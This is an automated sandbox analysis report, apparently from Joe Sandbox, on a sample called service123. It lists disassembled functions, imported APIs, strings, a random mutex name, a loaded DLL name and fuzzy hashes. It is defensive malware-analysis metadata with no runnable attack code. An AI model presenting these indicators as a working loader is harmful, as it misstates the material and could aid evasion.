API String ID: 1672962128-0
Opcode ID: 8e467b25d23c40424268e13f17db3de9bb1139584b723a9984efef0e3964bcd2
Instruction ID: 3e586f1d3f0b24ea227b37cb6c5f54c4a398cb46080b01494b35039d57e9d7c8
Opcode Fuzzy Hash: 8e467b25d23c40424268e13f17db3de9bb1139584b723a9984efef0e3964bcd2
Instruction Fuzzy Hash: D981AE70928211CFDB10EFA8E8993ADB7F0FB44384FA04A28E9849B311D7759864CF91

Function 6C9614E0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 6C9614FD
_exit.MSVCRT ref: 6C96154A
_write.MSVCRT ref: 6C961591
_close.MSVCRT ref: 6C9615A9

Strings

terminated, xrefs: 6C961570
@, xrefs: 6CA3DC4A
CONOUT$, xrefs: 6C9614F6

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: a3f6b3c6377c4c67682ade120025c96e1d51de8afedebb6b4d4b26e569b8670b
Instruction ID: 68c580c77035ea5967f549c08ef09ecc23e31e58768afa05781962b4ae0065aa
Opcode Fuzzy Hash: a3f6b3c6377c4c67682ade120025c96e1d51de8afedebb6b4d4b26e569b8670b
Instruction Fuzzy Hash: 064157B0919305CFEB009F79C48475EBBF4BB86348F008A1DE8A997A80E775D545CF96

Function 002B15D0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 002B15ED
_exit.MSVCRT ref: 002B163A
_write.MSVCRT ref: 002B1681
_close.MSVCRT ref: 002B1699

Strings

CONOUT$, xrefs: 002B15E6
terminated, xrefs: 002B1660
@, xrefs: 002B84BA

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: 94ee83272cb2f9baf480dba0e031ccd0cec6243e03403bb914452805344e6a5e
Instruction ID: fc70cacb4a0ef174f6cfac473b32a9982985539183cbb287e2115bacb7341a7a
Opcode Fuzzy Hash: 94ee83272cb2f9baf480dba0e031ccd0cec6243e03403bb914452805344e6a5e
Instruction Fuzzy Hash: 58413DB08143068FDB10EF68D4587AEBBF8BB84394F548A1CE89897250D775D825CF56

Function 002B13D1 Relevance: 12.1, APIs: 8, Instructions: 108
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 002B1248
__p__acmdln.MSVCRT ref: 002B1271
malloc.MSVCRT ref: 002B12FB
strlen.MSVCRT ref: 002B132B
malloc.MSVCRT ref: 002B1336
memcpy.MSVCRT ref: 002B134C
_amsg_exit.MSVCRT ref: 002B13F2
_initterm.MSVCRT ref: 002B1414

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2053141405-0
Opcode ID: 3bddabb917055688c7087c16a2735b8053647bc8ca0de5eea6b8ecd868bbb5f7
Instruction ID: 1e04565abe13da96ce9dbcef9db660a7a5daf59b1c57d72742d6524e12a106e4
Opcode Fuzzy Hash: 3bddabb917055688c7087c16a2735b8053647bc8ca0de5eea6b8ecd868bbb5f7
Instruction Fuzzy Hash: F84108B0928315CFDB10EFA8E89939DBBF0BB44384F618A2DE98897311D7749865CF51

Function 002B11B3 Relevance: 10.6, APIs: 7, Instructions: 114
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 002B11C7
SetUnhandledExceptionFilter.KERNEL32 ref: 002B1248
__p__acmdln.MSVCRT ref: 002B1271
malloc.MSVCRT ref: 002B12FB
strlen.MSVCRT ref: 002B132B
malloc.MSVCRT ref: 002B1336
memcpy.MSVCRT ref: 002B134C
_amsg_exit.MSVCRT ref: 002B13F2
_initterm.MSVCRT ref: 002B1414

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2230096795-0
Opcode ID: 74e3a0cf0aa92a9042e095f327b4a4e16cf401e753ef0452eed0f30346192ef7
Instruction ID: 674df67b01a8443f6857b787768ddaf75e076b81b5362081450221ed4e861c59
Opcode Fuzzy Hash: 74e3a0cf0aa92a9042e095f327b4a4e16cf401e753ef0452eed0f30346192ef7
Instruction Fuzzy Hash: F8412B70A24301CFDB10EF68E89979DB7F0BB44384F618A2DE98487311E7749865CF51

Function 002B1170 Relevance: 9.1, APIs: 6, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 002B11C7
SetUnhandledExceptionFilter.KERNEL32 ref: 002B1248
__p__acmdln.MSVCRT ref: 002B1271
malloc.MSVCRT ref: 002B12FB
strlen.MSVCRT ref: 002B132B
malloc.MSVCRT ref: 002B1336
memcpy.MSVCRT ref: 002B134C
GetStartupInfoA.KERNEL32 ref: 002B1443

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 082f9f5e3874bc7ee0976cb966f28deec15c861327cfd3c1550a328ba398ff41
Instruction ID: b0a020536ea81eae8cfb7f1bcedf3af34d4ae34e38b6767892c8d2c1b154601a
Opcode Fuzzy Hash: 082f9f5e3874bc7ee0976cb966f28deec15c861327cfd3c1550a328ba398ff41
Instruction Fuzzy Hash: 6E516071A24301CFDB10EFA8E899799B7F0FB44384F618A2DE9849B311E7709861CF91

Function 6C97ADA0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 196
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE ref: 6C97AE22
Sleep.KERNELBASE ref: 6C97AE33

Strings

P~<u, xrefs: 6C97B038
JKlWCrekKwLRYXCwLFnq, xrefs: 6C97ADAF, 6C97AE06

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: CreateMutexSleep
String ID: JKlWCrekKwLRYXCwLFnq$P~<u
API String ID: 1464230837-3564133344
Opcode ID: ffe2258b260881bc8d4ed994175024d2d531b12a016f6242fa95898a1c6ed62d
Instruction ID: 719ad2a03a1e708ea0796aaa9feba58692d11eef19aa9760e30e52c11c2a1155
Opcode Fuzzy Hash: ffe2258b260881bc8d4ed994175024d2d531b12a016f6242fa95898a1c6ed62d
Instruction Fuzzy Hash: AA71057061A3418FCB00EF78D185A9EBBF4AF89348F00892DE899C7750EB74D9498B52

Function 002B8320 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,002B1396,?,00006F8A), ref: 002B8379

Strings

QebpVzajWJMNuiTsbyMN.dll, xrefs: 002B836E
Failed to load DLL. Error code: %d, xrefs: 002B8398
Failed to get function address. Error code: %d, xrefs: 002B83DD
TmktfjIXkOvfVwxsdEdy, xrefs: 002B83AB

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: LibraryLoad
String ID: Failed to get function address. Error code: %d$Failed to load DLL. Error code: %d$QebpVzajWJMNuiTsbyMN.dll$TmktfjIXkOvfVwxsdEdy
API String ID: 1029625771-2539839231
Opcode ID: b8c40d1924826e28635e13d489d8296eba0daeced188c5db6187f43f81fa5967
Instruction ID: fd32ff800bfe04e7dc8854f036ca30cef7b6c6fc7353cc4dbd7f2b06210df7ec
Opcode Fuzzy Hash: b8c40d1924826e28635e13d489d8296eba0daeced188c5db6187f43f81fa5967
Instruction Fuzzy Hash: AA31F6B0924209DFCB40EFACE989ADDBBF4AF44344F108529E458E7350EB74A954CF42

Function 002B12A6 Relevance: 5.1, APIs: 4, Instructions: 79
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 002B12FB
strlen.MSVCRT ref: 002B132B
malloc.MSVCRT ref: 002B1336
memcpy.MSVCRT ref: 002B134C

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 920adee40648fd10a52a29c53c717a7f10f1d7d167c6ad866f70284f54c1a1b9
Instruction ID: 54d405b368852873c151346fd8162dcde4f4c2e0b521e9c72202bd27a730e123
Opcode Fuzzy Hash: 920adee40648fd10a52a29c53c717a7f10f1d7d167c6ad866f70284f54c1a1b9
Instruction Fuzzy Hash: B6315A75E14315CFCB10EF68E898399B7F1FB49340F618A29E98897311E730A965CF81

Function 002B13C3 Relevance: 5.1, APIs: 4, Instructions: 65
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 002B12FB
strlen.MSVCRT ref: 002B132B
malloc.MSVCRT ref: 002B1336
memcpy.MSVCRT ref: 002B134C

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: c2138fa665239f8d6629939f8b362f1e0938ed952c7d2da3c6857c2b9ee9db62
Instruction ID: 4084e4dd6c89a359bfa105d452530e7e18c2081ae33223607771a45db1f93043
Opcode Fuzzy Hash: c2138fa665239f8d6629939f8b362f1e0938ed952c7d2da3c6857c2b9ee9db62
Instruction Fuzzy Hash: E0211BB5D14305CFCB10EF68E89869DB7F1FB88340B618A2DE98897311E730A961CF51

Function 6C97C950 Relevance: 1.4, APIs: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5df441c97c4982854299a8b795167b1ccb065c8b08b141f6d77b52cf6f68d5b
Instruction ID: a66d44ff6e13cd58517a605c8b6b0aa5cd54414a2d9d7bb9773c9ffb2ff8da39
Opcode Fuzzy Hash: f5df441c97c4982854299a8b795167b1ccb065c8b08b141f6d77b52cf6f68d5b
Instruction Fuzzy Hash: 4B518CB1A0A312CFCB14EF29D58161ABBF0BF92748F15C45DD4898BB21E731D485CBA2

Function 6C97CAC0 Relevance: 1.4, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 935790af7cd96d8cee8e61883cdaff34da3d9fc90f7abf229556292f179be801
Instruction ID: 12efe40376180bf257d9da2a5722ed58e31705c00df90ca22e9e7d0f2748daa4
Opcode Fuzzy Hash: 935790af7cd96d8cee8e61883cdaff34da3d9fc90f7abf229556292f179be801
Instruction Fuzzy Hash: 1931C0B17093028FDB14AF29D980306B7B4BB1630CF55856CDA98CBB41E730C089CBA2

Non-executed Functions

Function 6C96B8E0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF8D
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Strings

P, xrefs: 6C96B980

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID: P
API String ID: 4206212132-3110715001
Opcode ID: 80146d825cec72c08c28903042c5deab4eb2ea06480c17dfc973a3b9963694bf
Instruction ID: b9edb213aa810bfd65427a204084ec35f15b83837f14eb9628f78382deefd016
Opcode Fuzzy Hash: 80146d825cec72c08c28903042c5deab4eb2ea06480c17dfc973a3b9963694bf
Instruction Fuzzy Hash: 023158326493088FE7108E16C8C174BB7F59F4632CF08996EF4AA87E91D239D448DB51

Function 6C96C070 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

@, xrefs: 6C96C315

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 7400db4de791d61b24b095bf90b1287d05684488ae3254806337f4139684cf1c
Instruction ID: f0aee5190b174f34d452d37b4eeafc7b7ba474278d8d884adcb550b5ca497430
Opcode Fuzzy Hash: 7400db4de791d61b24b095bf90b1287d05684488ae3254806337f4139684cf1c
Instruction Fuzzy Hash: 1EB1B8716093469FEB10DF29C48075ABBF1BF86308F15486DF9989BB82C335E845CB92

Function 6C962390 Relevance: 38.0, APIs: 25, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b5c1a9665ac48b3edf9df7eea937fd7b99809a7cf9373b1cf6506bf1ee60e02
Instruction ID: b8f3c10a2230855e63ce43dcb421ba5dfb7d03b7df27736fa8c46e86f80f8cab
Opcode Fuzzy Hash: 2b5c1a9665ac48b3edf9df7eea937fd7b99809a7cf9373b1cf6506bf1ee60e02
Instruction Fuzzy Hash: 76F192B06046018FE704DF3AC89475AB7E1AF59348F548A6DE889DFF85D739D80A8F90

Function 6C96B750 Relevance: 37.7, APIs: 25, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900c3807dc150d801493eaa3065275e38525fdaca0c550300d5cc8fc1a265359
Instruction ID: d8c9debb34255548a4bdbb4bd58523eac0e8881397935e1467607ac3f99cfebf
Opcode Fuzzy Hash: 900c3807dc150d801493eaa3065275e38525fdaca0c550300d5cc8fc1a265359
Instruction Fuzzy Hash: B44123759093459FF710DE2AC48072ABBF4AF86328F18898DE9994BFD1E331E845D781

Function 6C96285F Relevance: 37.6, APIs: 25, Instructions: 112COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,6C96DC0C), ref: 6CA3FF88
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF8D
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 27122a5d4f6ac6790da11ef2ec0b514a7e5e44349cea8431a4a27fe238790451
